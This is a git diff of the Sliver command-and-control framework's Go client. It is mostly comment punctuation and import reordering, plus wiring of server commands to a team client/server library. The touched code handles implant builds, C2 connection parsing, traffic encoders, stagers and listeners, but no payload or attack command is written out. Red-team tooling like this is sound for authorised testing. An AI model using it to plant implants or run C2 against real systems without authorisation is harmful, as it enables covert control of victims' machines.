SupportedCompilerTargets - Supported compiler targets. SupportedCompilerTargets = map[string]bool{ "darwin/amd64": true, "darwin/arm64": true, @@ -88,7 +87,7 @@ var ( ErrNoValidBuilders = errors.New("no valid external builders for target") ) -// GenerateCmd - The main command used to generate implant binaries +// GenerateCmd - The main command used to generate implant binaries. func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { config := parseCompileFlags(cmd, con) if config == nil { @@ -181,7 +180,7 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string { } } -// Shared function that extracts the compile flags from the grumble context +// Shared function that extracts the compile flags from the grumble context. func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) *clientpb.ImplantConfig { var name string if nameF, _ := cmd.Flags().GetString("name"); nameF != "" { @@ -404,7 +403,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) *clientpb. return config } -// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled +// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled. func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverClient) (bool, []*commonpb.File) { trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders") encoders := []*commonpb.File{} @@ -461,7 +460,7 @@ func getTargets(targetOS string, targetArch string, con *console.SliverClient) ( return targetOS, targetArch } -// ParseMTLSc2 - Parse mtls connection string arg +// ParseMTLSc2 - Parse mtls connection string arg. func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -496,7 +495,7 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -// ParseWGc2 - Parse wg connect string arg +// ParseWGc2 - Parse wg connect string arg. func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -612,7 +611,7 @@ func uriWithoutProxyOptions(uri *url.URL) { uri.RawQuery = options.Encode() } -// ParseHTTPc2 - Parse HTTP connection string arg +// ParseHTTPc2 - Parse HTTP connection string arg. func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -658,7 +657,7 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -// ParseDNSc2 - Parse DNS connection string arg +// ParseDNSc2 - Parse DNS connection string arg. func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -693,7 +692,7 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -// ParseNamedPipec2 - Parse named pipe connection string arg +// ParseNamedPipec2 - Parse named pipe connection string arg. func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -740,7 +739,7 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -// ParseTCPPivotc2 - Parse tcp pivot connection string arg +// ParseTCPPivotc2 - Parse tcp pivot connection string arg. func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { diff --git a/client/command/generate/helpers.go b/client/command/generate/helpers.go index 41ade08c58..b545768661 100644 --- a/client/command/generate/helpers.go +++ b/client/command/generate/helpers.go @@ -4,14 +4,13 @@ import ( "context" "fmt" - "github.com/rsteube/carapace" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/rsteube/carapace" ) -// GetSliverBinary - Get the binary of an implant based on it's profile +// GetSliverBinary - Get the binary of an implant based on it's profile. func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient) ([]byte, error) { var data []byte // get implant builds @@ -92,7 +91,7 @@ func ArchCompleter(con *console.SliverClient) carapace.Action { }) } -// FormatCompleter completes build operating systems +// FormatCompleter completes build operating systems. func OSCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) @@ -126,7 +125,7 @@ func OSCompleter(con *console.SliverClient) carapace.Action { }) } -// FormatCompleter completes build formats +// FormatCompleter completes build formats. func FormatCompleter() carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { return carapace.ActionValues([]string{ @@ -135,7 +134,7 @@ func FormatCompleter() carapace.Action { }) } -// TrafficEncoderCompleter - Completes the names of traffic encoders +// TrafficEncoderCompleter - Completes the names of traffic encoders. func TrafficEncodersCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { grpcCtx, cancel := con.GrpcContext(nil) diff --git a/client/command/generate/implants-rm.go b/client/command/generate/implants-rm.go index f9b539e2d5..edf09a9c46 100644 --- a/client/command/generate/implants-rm.go +++ b/client/command/generate/implants-rm.go @@ -5,13 +5,12 @@ import ( "fmt" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// ImplantsRmCmd - Deletes an archived implant build from the server +// ImplantsRmCmd - Deletes an archived implant build from the server. func ImplantsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name := args[0] // name := ctx.Args.String("name") diff --git a/client/command/generate/implants.go b/client/command/generate/implants.go index 826c2f9bd8..4f69ea5c48 100644 --- a/client/command/generate/implants.go +++ b/client/command/generate/implants.go @@ -23,17 +23,16 @@ import ( "fmt" "strings" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) -// ImplantBuildFilter - Filter implant builds +// ImplantBuildFilter - Filter implant builds. type ImplantBuildFilter struct { GOOS string GOARCH string @@ -43,7 +42,7 @@ type ImplantBuildFilter struct { Debug bool } -// ImplantsCmd - Displays archived implant builds +// ImplantsCmd - Displays archived implant builds. func ImplantsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { @@ -59,7 +58,7 @@ func ImplantsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintImplantBuilds - Print the implant builds on the server +// PrintImplantBuilds - Print the implant builds on the server. func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) @@ -123,7 +122,7 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl con.Println("\n") } -// ImplantBuildNameCompleter - Completer for implant build names +// ImplantBuildNameCompleter - Completer for implant build names. func ImplantBuildNameCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { var action carapace.Action @@ -193,7 +192,7 @@ func ImplantBuildNameCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(comps) } -// ImplantBuildByName - Get an implant build by name +// ImplantBuildByName - Get an implant build by name. func ImplantBuildByName(name string, con *console.SliverClient) *clientpb.ImplantConfig { builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { diff --git a/client/command/generate/profiles-generate.go b/client/command/generate/profiles-generate.go index fcc05e53ae..f0f2cf229d 100644 --- a/client/command/generate/profiles-generate.go +++ b/client/command/generate/profiles-generate.go @@ -24,12 +24,11 @@ import ( "path/filepath" "strings" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" ) -// ProfilesGenerateCmd - Generate an implant binary based on a profile +// ProfilesGenerateCmd - Generate an implant binary based on a profile. func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { diff --git a/client/command/generate/profiles-new.go b/client/command/generate/profiles-new.go index 04f9c5b4c3..4a481bf49c 100644 --- a/client/command/generate/profiles-new.go +++ b/client/command/generate/profiles-new.go @@ -20,13 +20,12 @@ package generate import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// ProfilesNewCmd - Create a new implant profile +// ProfilesNewCmd - Create a new implant profile. func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { @@ -49,7 +48,7 @@ func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverClient, args []string } } -// ProfilesNewBeaconCmd - Create a new beacon profile +// ProfilesNewBeaconCmd - Create a new beacon profile. func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { diff --git a/client/command/generate/profiles-rm.go b/client/command/generate/profiles-rm.go index 55bc75289f..f0ab60b5b1 100644 --- a/client/command/generate/profiles-rm.go +++ b/client/command/generate/profiles-rm.go @@ -23,13 +23,12 @@ import ( "fmt" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// ProfilesRmCmd - Delete an implant profile +// ProfilesRmCmd - Delete an implant profile. func ProfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { diff --git a/client/command/generate/profiles.go b/client/command/generate/profiles.go index 592e0b62fc..dd0f7ef925 100644 --- a/client/command/generate/profiles.go +++ b/client/command/generate/profiles.go @@ -24,18 +24,17 @@ import ( "math" "strings" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) -// ProfilesCmd - Display implant profiles +// ProfilesCmd - Display implant profiles. func ProfilesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { profiles := getImplantProfiles(con) if profiles == nil { @@ -49,7 +48,7 @@ func ProfilesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintProfiles - Print the profiles +// PrintProfiles - Print the profiles. func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) @@ -106,7 +105,7 @@ func getImplantProfiles(con *console.SliverClient) []*clientpb.ImplantProfile { return pbProfiles.Profiles } -// GetImplantProfileByName - Get an implant profile by a specific name +// GetImplantProfileByName - Get an implant profile by a specific name. func GetImplantProfileByName(name string, con *console.SliverClient) *clientpb.ImplantProfile { pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { @@ -263,7 +262,7 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string return properties } -// PrintProfileInfo - Print detailed information about a given profile +// PrintProfileInfo - Print detailed information about a given profile. func PrintProfileInfo(name string, con *console.SliverClient) { profile := GetImplantProfileByName(name, con) if profile == nil { @@ -273,7 +272,7 @@ func PrintProfileInfo(name string, con *console.SliverClient) { config := profile.Config properties := populateProfileProperties(config) - //con.Printf("--- Details for profile %s ---\n", profile.Name) + tw := table.NewWriter() // Implant Basics @@ -420,7 +419,7 @@ func PrintProfileInfo(name string, con *console.SliverClient) { } } -// ProfileNameCompleter - Completer for implant build names +// ProfileNameCompleter - Completer for implant build names. func ProfileNameCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { var action carapace.Action diff --git a/client/command/generate/regenerate.go b/client/command/generate/regenerate.go index 65a69eae1f..4cf1105a3e 100644 --- a/client/command/generate/regenerate.go +++ b/client/command/generate/regenerate.go @@ -22,13 +22,12 @@ import ( "context" "os" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// RegenerateCmd - Download an archived implant build/binary +// RegenerateCmd - Download an archived implant build/binary. func RegenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { save, _ := cmd.Flags().GetString("save") if save == "" { diff --git a/client/command/generate/traffic-encoders.go b/client/command/generate/traffic-encoders.go index 899033907e..c1ec8530d0 100644 --- a/client/command/generate/traffic-encoders.go +++ b/client/command/generate/traffic-encoders.go @@ -27,22 +27,21 @@ import ( "time" "github.com/AlecAivazis/survey/v2" - "github.com/gofrs/uuid" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "golang.org/x/text/cases" - "golang.org/x/text/language" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/util" + "github.com/gofrs/uuid" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "golang.org/x/text/cases" + "golang.org/x/text/language" + "google.golang.org/protobuf/proto" ) -// TrafficEncodersCmd - Generate traffic encoders command implementation +// TrafficEncodersCmd - Generate traffic encoders command implementation. func TrafficEncodersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { grpcCtx, cancel := con.GrpcContext(cmd) defer cancel() @@ -54,7 +53,7 @@ func TrafficEncodersCmd(cmd *cobra.Command, con *console.SliverClient, args []st DisplayTrafficEncoders(encoderMap, con) } -// DisplayTrafficEncoders - Display traffic encoders map from server +// DisplayTrafficEncoders - Display traffic encoders map from server. func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) @@ -83,7 +82,7 @@ func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console con.Println(tw.Render()) } -// TrafficEncodersAddCmd - Add a new traffic encoder to the server +// TrafficEncodersAddCmd - Add a new traffic encoder to the server. func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { grpcCtx, cancel := con.GrpcContext(cmd) defer cancel() @@ -138,7 +137,7 @@ func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverClient, args [ con.PrintInfof("Successfully added traffic encoder: %s\n", trafficEncoder.Wasm.Name) } -// saveFailedSample - Save the sample the encoder failed to properly encode/decode +// saveFailedSample - Save the sample the encoder failed to properly encode/decode. func saveFailedSample(encoderName string, test *clientpb.TrafficEncoderTest) { confirm := false prompt := &survey.Confirm{ @@ -156,7 +155,7 @@ func saveFailedSample(encoderName string, test *clientpb.TrafficEncoderTest) { } } -// allTestsPassed - Check if all tests passed +// allTestsPassed - Check if all tests passed. func allTestsPassed(tests *clientpb.TrafficEncoderTests) bool { for _, test := range tests.Tests { if !test.Success { @@ -166,7 +165,7 @@ func allTestsPassed(tests *clientpb.TrafficEncoderTests) bool { return true } -// displayTrafficEncoderTests - Display traffic encoder tests in real time +// displayTrafficEncoderTests - Display traffic encoder tests in real time. func displayTrafficEncoderTestProgress(testID string, completed chan interface{}, con *console.SliverClient) { listenerID, events := con.CreateEventListener() defer con.RemoveEventListener(listenerID) @@ -191,7 +190,7 @@ func displayTrafficEncoderTestProgress(testID string, completed chan interface{} } } -// clearLines - Clear a number of lines from the console +// clearLines - Clear a number of lines from the console. func clearLines(count int, con *console.SliverClient) { for i := 0; i < count; i++ { con.Printf(console.Clearln + "\r") @@ -199,7 +198,7 @@ func clearLines(count int, con *console.SliverClient) { } } -// displayTrafficEncoderTests - Display the results of traffic encoder tests, return number of lines written +// displayTrafficEncoderTests - Display the results of traffic encoder tests, return number of lines written. func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTests, con *console.SliverClient) int { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) @@ -245,7 +244,7 @@ func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTest return lineCount } -// TrafficEncodersRemoveCmd - Remove a traffic encoder +// TrafficEncodersRemoveCmd - Remove a traffic encoder. func TrafficEncodersRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { _, cancel := con.GrpcContext(cmd) defer cancel() @@ -272,7 +271,7 @@ func TrafficEncodersRemoveCmd(cmd *cobra.Command, con *console.SliverClient, arg con.PrintInfof("Successfully removed traffic encoder: %s\n", name) } -// SelectTrafficEncoder - Select a traffic encoder from a list +// SelectTrafficEncoder - Select a traffic encoder from a list. func SelectTrafficEncoder(con *console.SliverClient) string { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() diff --git a/client/command/jobs/commands.go b/client/command/jobs/commands.go index 7ecf238d94..5de76356a8 100644 --- a/client/command/jobs/commands.go +++ b/client/command/jobs/commands.go @@ -1,15 +1,14 @@ package jobs import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/jobs/dns.go b/client/command/jobs/dns.go index 1c58ec32e2..4cbf4e8479 100644 --- a/client/command/jobs/dns.go +++ b/client/command/jobs/dns.go @@ -22,13 +22,12 @@ import ( "context" "strings" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// DNSListenerCmd - Start a DNS lisenter +// DNSListenerCmd - Start a DNS lisenter. func DNSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { domainsF, _ := cmd.Flags().GetString("domains") domains := strings.Split(domainsF, ",") diff --git a/client/command/jobs/http.go b/client/command/jobs/http.go index d97b39d815..10ea0bb6bb 100644 --- a/client/command/jobs/http.go +++ b/client/command/jobs/http.go @@ -22,13 +22,12 @@ import ( "context" "time" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// HTTPListenerCmd - Start an HTTP listener +// HTTPListenerCmd - Start an HTTP listener. func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { domain, _ := cmd.Flags().GetString("domain") lhost, _ := cmd.Flags().GetString("lhost") diff --git a/client/command/jobs/https.go b/client/command/jobs/https.go index 5f3233b2fa..cbba4450a4 100644 --- a/client/command/jobs/https.go +++ b/client/command/jobs/https.go @@ -25,13 +25,12 @@ import ( "io/ioutil" "time" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// HTTPSListenerCmd - Start an HTTPS listener +// HTTPSListenerCmd - Start an HTTPS listener. func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { domain, _ := cmd.Flags().GetString("domain") lhost, _ := cmd.Flags().GetString("lhost") diff --git a/client/command/jobs/jobs.go b/client/command/jobs/jobs.go index ff958e761a..9522bc4642 100644 --- a/client/command/jobs/jobs.go +++ b/client/command/jobs/jobs.go @@ -25,18 +25,16 @@ import ( "strconv" "strings" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) -// JobsCmd - Manage server jobs (listeners, etc) +// JobsCmd - Manage server jobs (listeners, etc). func JobsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if pid, _ := cmd.Flags().GetInt32("kill"); pid != -1 { jobKill(uint32(pid), con) @@ -61,7 +59,7 @@ func JobsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintJobs - Prints a list of active jobs +// PrintJobs - Prints a list of active jobs. func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) diff --git a/client/command/jobs/mtls.go b/client/command/jobs/mtls.go index 93256d8c84..4c918e2914 100644 --- a/client/command/jobs/mtls.go +++ b/client/command/jobs/mtls.go @@ -21,13 +21,12 @@ package jobs import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// MTLSListenerCmd - Start an mTLS listener +// MTLSListenerCmd - Start an mTLS listener. func MTLSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { lhost, _ := cmd.Flags().GetString("lhost") lport, _ := cmd.Flags().GetUint32("lport") diff --git a/client/command/jobs/stage.go b/client/command/jobs/stage.go index 567dfa1f89..bd779139cd 100644 --- a/client/command/jobs/stage.go +++ b/client/command/jobs/stage.go @@ -27,17 +27,15 @@ import ( "strconv" "strings" - "github.com/spf13/cobra" - - "github.com/bishopfox/sliver/util/encoders" - "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/util" + "github.com/bishopfox/sliver/util/encoders" + "github.com/spf13/cobra" ) -// StageListenerCmd --url [tcp://ip:port | http://ip:port ] --profile name +// StageListenerCmd --url [tcp://ip:port | http://ip:port ] --profile name. func StageListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { profileName, _ := cmd.Flags().GetString("profile") listenerURL, _ := cmd.Flags().GetString("url") diff --git a/client/command/jobs/wg.go b/client/command/jobs/wg.go index da97dc675e..1f7ae6d8cd 100644 --- a/client/command/jobs/wg.go +++ b/client/command/jobs/wg.go @@ -21,13 +21,12 @@ package jobs import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// WGListenerCmd - Start a WireGuard listener +// WGListenerCmd - Start a WireGuard listener. func WGListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { lport, _ := cmd.Flags().GetUint32("lport") nport, _ := cmd.Flags().GetUint32("nport") diff --git a/client/command/server.go b/client/command/server.go index 593b9e9ec4..819eed345e 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -41,7 +41,6 @@ import ( "github.com/bishopfox/sliver/client/command/sessions" "github.com/bishopfox/sliver/client/command/settings" sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai" - "github.com/bishopfox/sliver/client/command/taskmany" "github.com/bishopfox/sliver/client/command/update" "github.com/bishopfox/sliver/client/command/use" "github.com/bishopfox/sliver/client/command/websites" @@ -49,12 +48,15 @@ import ( client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/reeflective/console" + teamclientCmds "github.com/reeflective/team/client/commands" + "github.com/reeflective/team/server" + teamserverCmds "github.com/reeflective/team/server/commands" "github.com/spf13/cobra" ) // ServerCommands returns all commands bound to the server menu, optionally // accepting a function returning a list of additional (admin) commands. -func ServerCommands(con *client.SliverClient, serverCmds func() *cobra.Command) console.Commands { +func ServerCommands(con *client.SliverClient, serv *server.Server) console.Commands { serverCommands := func() *cobra.Command { server := &cobra.Command{ Short: "Server commands", @@ -63,9 +65,14 @@ func ServerCommands(con *client.SliverClient, serverCmds func() *cobra.Command) }, } - if serverCmds != nil { + if serv != nil { server.AddGroup(&cobra.Group{ID: consts.GenericHelpGroup, Title: consts.GenericHelpGroup}) - server.AddCommand(serverCmds()) + teamserverCmds := teamserverCmds.Generate(serv, con.Teamclient) + server.AddCommand(teamserverCmds) + } else { + server.AddGroup(&cobra.Group{ID: consts.GenericHelpGroup, Title: consts.GenericHelpGroup}) + teamclientCmds := teamclientCmds.Generate(con.Teamclient) + server.AddCommand(teamclientCmds) } // [ Bind commands ] -------------------------------------------------------- @@ -114,7 +121,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() *cobra.Command) loot.Commands, hosts.Commands, reaction.Commands, - taskmany.Command, + // taskmany.Command, ) // [ Post-command declaration setup ]----------------------------------------- diff --git a/client/console/console.go b/client/console/console.go index af67e17456..a1866fcb99 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -44,6 +44,7 @@ import ( "github.com/gofrs/uuid" "github.com/reeflective/console" "github.com/reeflective/readline" + "github.com/reeflective/team/client" "github.com/spf13/cobra" "golang.org/x/exp/slog" "google.golang.org/protobuf/proto" @@ -101,6 +102,8 @@ type SliverClient struct { jsonHandler slog.Handler printf func(format string, args ...any) (int, error) + + Teamclient *client.Client } // NewConsole creates the sliver client (and console), creating menus and prompts. @@ -121,6 +124,7 @@ func NewConsole(isServer bool) *SliverClient { BeaconTaskCallbacksMutex: &sync.Mutex{}, IsServer: isServer, Settings: settings, + IsCLI: true, } // The active target needs access to the console @@ -160,9 +164,7 @@ func NewConsole(isServer bool) *SliverClient { // Init requires a working RPC connection to the sliver server, and 2 different sets of commands. // If run is true, the console application is started, making this call blocking. Otherwise, commands and // RPC connection are bound to the console (making the console ready to run), but the console does not start. -func StartClient(con *SliverClient, serverCmds, sliverCmds console.Commands, run bool) error { - con.IsCLI = !run - +func StartClient(con *SliverClient, serverCmds, sliverCmds console.Commands) { // The console application needs to query the terminal for cursor positions // when asynchronously printing logs (that is, when no command is running). // If ran from a system shell, however, those queries will block because @@ -186,28 +188,22 @@ func StartClient(con *SliverClient, serverCmds, sliverCmds console.Commands, run // console logger if con.Settings.ConsoleLogs { - // Classic logs + // // Classic logs consoleLog := getConsoleLogFile() - consoleLogStream, err := con.ClientLogStream("json") - if err != nil { - log.Printf("Could not get client log stream: %s", err) - } - con.setupLogger(consoleLog, consoleLogStream) - defer consoleLog.Close() - - // Ascii cast sessions (complete terminal interface). - asciicastLog := getConsoleAsciicastFile() - defer asciicastLog.Close() - - asciicastStream, err := con.ClientLogStream("asciicast") - con.setupAsciicastRecord(asciicastLog, asciicastStream) + // consoleLogStream, err := con.ClientLogStream("json") + // if err != nil { + // log.Printf("Could not get client log stream: %s", err) + // } + con.setupLogger(consoleLog) + // defer consoleLog.Close() + // + // // Ascii cast sessions (complete terminal interface). + // asciicastLog := getConsoleAsciicastFile() + // defer asciicastLog.Close() + // + // asciicastStream, err := con.ClientLogStream("asciicast") + // con.setupAsciicastRecord(asciicastLog, asciicastStream) } - - if !con.IsCLI { - return con.App.Start() - } - - return nil } func (con *SliverClient) startEventLoop() { diff --git a/client/constants/constants.go b/client/constants/constants.go index 104b89a699..a906378154 100644 --- a/client/constants/constants.go +++ b/client/constants/constants.go @@ -18,105 +18,105 @@ package constants along with this program. If not, see . */ -// Meta +// Meta. const ( - // KeepAliveStr - Keep alive constant + // KeepAliveStr - Keep alive constant. KeepAliveStr = "keepalive" ) const ( - // LastUpdateCheckFileName - Last update check file name + // LastUpdateCheckFileName - Last update check file name. LastUpdateCheckFileName = "last_update_check" ) -// Console +// Console. const ( ImplantMenu = "implant" ServerMenu = "" ) -// Events +// Events. const ( - // UpdateStr - "update" + // UpdateStr - "update". UpdateStr = "update" - // VersionStr - "version" + // VersionStr - "version". VersionStr = "version" - // EventStr - "event" + // EventStr - "event". EventStr = "event" - // ServersStr - "server-error" + // ServersStr - "server-error". ServerErrorStr = "server-error" - // ConnectedEvent - Sliver Connected + // ConnectedEvent - Sliver Connected. SessionOpenedEvent = "session-connected" - // DisconnectedEvent - Sliver disconnected + // DisconnectedEvent - Sliver disconnected. SessionClosedEvent = "session-disconnected" - // UpdateEvent - Sliver updated + // UpdateEvent - Sliver updated. SessionUpdateEvent = "session-updated" - // JoinedEvent - Player joined the game + // JoinedEvent - Player joined the game. JoinedEvent = "client-joined" - // LeftEvent - Player left the game + // LeftEvent - Player left the game. LeftEvent = "client-left" - // CanaryEvent - A DNS canary was triggered + // CanaryEvent - A DNS canary was triggered. CanaryEvent = "canary" - // WatchtowerEvent - An implant hash has been identified on a threat intel platform + // WatchtowerEvent - An implant hash has been identified on a threat intel platform. WatchtowerEvent = "watchtower" - // StartedEvent - Job was started + // StartedEvent - Job was started. JobStartedEvent = "job-started" - // StoppedEvent - Job was stopped + // StoppedEvent - Job was stopped. JobStoppedEvent = "job-stopped" - // BuildEvent - Fires on change to builds + // BuildEvent - Fires on change to builds. BuildEvent = "build" - // BuildCompletedEvent - Fires when a build completes + // BuildCompletedEvent - Fires when a build completes. BuildCompletedEvent = "build-completed" - // ProfileEvent - Fires whenever there's a change to profiles + // ProfileEvent - Fires whenever there's a change to profiles. ProfileEvent = "profile" - // WebsiteEvent - Fires whenever there's a change to websites + // WebsiteEvent - Fires whenever there's a change to websites. WebsiteEvent = "website" - // LootAdded + // LootAdded. LootAddedEvent = "loot-added" - // LootRemoved + // LootRemoved. LootRemovedEvent = "loot-removed" - // BeaconRegisteredEvent - First connection from a new beacon + // BeaconRegisteredEvent - First connection from a new beacon. BeaconRegisteredEvent = "beacon-registered" - // BeaconTaskResult - Beacon task completed with a result + // BeaconTaskResult - Beacon task completed with a result. BeaconTaskResultEvent = "beacon-taskresult" - // ExternalBuildEvent + // ExternalBuildEvent. 